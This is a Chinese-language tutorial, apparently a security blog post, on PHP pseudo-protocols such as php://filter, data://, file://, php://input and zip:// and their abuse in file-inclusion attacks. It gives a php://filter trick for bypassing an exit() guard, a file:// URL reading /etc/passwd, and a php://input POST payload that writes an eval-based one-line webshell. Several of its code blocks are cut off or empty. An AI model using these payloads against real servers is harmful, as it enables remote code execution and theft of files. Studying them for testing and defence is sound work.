PHP伪协议详解
PHP伪协议详解:
PHP支持的伪协议:
1 | 1 file:// — 访问本地文件系统 |
1 php://filter php://filte
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取.
协议参数:
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
常用:
1 | php://filter/read=convert.base64-encode/resource=index.php |
利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器。
可以使用base64decode来绕过死亡exit。
什么是死亡exit
exit ()函数是PHP中的一个内置函数,用于输出消息并终止当前脚本。 exit ()函数仅终止脚本的执行。 语法为exit (message),将要显示的消息作为参数传递给exit ()函数,它终止脚本并显示消息。
死亡exit指的是在进行写入PHP文件操作时,执行了以下函数:
file_put_contents($content, '<?php exit();' . $content);
亦或者
file_put_contents($content, '<?php exit();?>' . $content);
这样,当你插入一句话木马时,文件的内容是这样子的:
1 | <?php exit();?> |
这样即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
base64decode绕过
利用filter协议来绕过,看下这样的代码:
1 | <?php |
当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。
然而这里可以利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:
1 | <?php |
所以,当$content 包含 时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。
2 data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
示例用法:
1 | 1、data://text/plain, |
范例
Example #1 打印 data:// 的内容
1 | <?php |
Example #2 获取媒体类型
1 | <?php |
3 file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
4 php://
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://作用为访问输入输出流
5 php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如:http://127.0.0.1/cmd.php?cmd=php://input
POST数据:
若有写入权限,还可以写入一句话木马
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
注意:
当enctype=”multipart/form-data”的时候 php://input` 是无效的
遇到file_get_contents()要想到用php://input绕过。
6 zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
1 | zip://中只能传入绝对路径。 |